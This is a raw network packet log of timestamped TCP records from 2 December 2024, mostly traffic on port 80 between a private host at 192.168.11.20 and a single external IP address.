Dec 2, 2024 11:20:43.287828922 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.287828922 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.287938118 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.287949085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.288062096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.288062096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.435178041 CET	49706	443	192.168.11.20	204.79.197.237
Dec 2, 2024 11:20:43.435192108 CET	49707	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:20:43.513079882 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513125896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513158083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513328075 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.513328075 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.513468027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513572931 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513642073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.513782024 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513811111 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.513833046 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.513984919 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.513984919 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.514098883 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514137030 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514302015 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.514413118 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514451981 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514482975 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514616966 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.514616966 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.514667034 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.514786005 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514821053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.514976978 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.514976978 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.515089989 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.515127897 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.515157938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.515270948 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.515314102 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.515378952 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.515412092 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.515620947 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.526727915 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.526835918 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.526870012 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527154922 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527168989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527220011 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527239084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527317047 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527343035 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527371883 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527386904 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527419090 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527504921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527504921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527616024 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527689934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527724028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527844906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527844906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.527952909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.527991056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528072119 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528208017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528251886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528300047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528338909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528371096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528400898 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528430939 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528480053 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528523922 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528523922 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528619051 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528728008 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528774023 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528816938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528861046 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528877974 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528928041 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.528935909 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.528978109 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529022932 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529073000 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529145002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529191017 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529233932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529277086 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529333115 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529402018 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529402018 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529481888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529555082 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529644966 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529659033 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529710054 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529757977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529762983 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529828072 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529828072 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529913902 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.529922962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.529977083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530086994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530168056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530174017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530225992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530333996 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530380964 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530428886 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530474901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530517101 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530631065 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530637980 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530689001 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530778885 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530785084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.530838966 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530880928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.530946016 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531017065 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531025887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531027079 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531122923 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531153917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531188011 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531270027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531282902 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531331062 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531425953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531522989 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531569004 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531611919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531730890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531730890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531783104 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.531897068 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531950951 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.531996012 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532054901 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532104015 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532145023 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532151937 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532203913 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532247066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532298088 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532344103 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532392979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532418013 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532500029 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532582998 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532653093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532711029 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532754898 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532797098 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532876968 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532895088 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.532943964 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.532948971 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533001900 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533008099 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533098936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533149958 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533171892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533349037 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533520937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533577919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533623934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533668041 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533711910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533725023 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533725023 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.533785105 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533873081 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.533883095 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534002066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534039974 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534039974 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534040928 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534120083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534158945 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534220934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534266949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534271955 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534353018 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534353971 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534416914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534462929 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534504890 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534585953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534637928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534643888 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534759998 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534780025 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534861088 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.534924030 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.534960032 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.535002947 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.535059929 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.535104990 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.535224915 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.609782934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.609841108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.610035896 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.610193014 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.610248089 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.610374928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.610430002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.610455036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.610492945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.610534906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.610584021 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.610769033 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842015982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842078924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842230082 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842230082 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842344046 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842396021 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842441082 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842485905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842509031 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842588902 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842653990 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842660904 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842711926 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842820883 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842875004 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842897892 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.842936993 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.842981100 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843044043 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843115091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843122005 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843122005 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843183994 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843226910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843363047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843374014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843374014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843436956 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843522072 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843595028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843628883 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843656063 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843736887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.843755960 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843821049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.843980074 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.849246979 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849303007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849347115 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849472046 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.849530935 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.849591970 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849637985 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849780083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849790096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.849844933 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849889040 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.849935055 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.850025892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.850131989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.850184917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.850354910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.850562096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.850704908 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.850759983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.850804090 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.850872993 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.850939989 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.850949049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851001024 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851043940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851116896 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851191998 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851233006 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851380110 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851414919 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851449966 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851494074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851557970 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851604939 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851639032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851706982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851793051 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.851799965 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851953030 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.851953983 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852113008 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852169037 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852212906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852255106 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852273941 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852273941 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852322102 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852416039 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852421999 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852519035 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852564096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852574110 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852623940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852674961 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852675915 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852771044 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852818012 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852861881 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.852948904 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.852948904 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853060961 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853105068 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853148937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853221893 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853221893 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853287935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853317022 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853387117 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853431940 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853533030 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853557110 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853602886 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853646040 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853715897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853715897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853785992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853832006 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.853857040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853935003 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.853984118 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.854070902 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854115963 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854160070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854222059 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.854269028 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.854304075 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854317904 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.854362965 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854505062 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.854505062 CET	49748	80	192.168.11.20	185.215.113.206
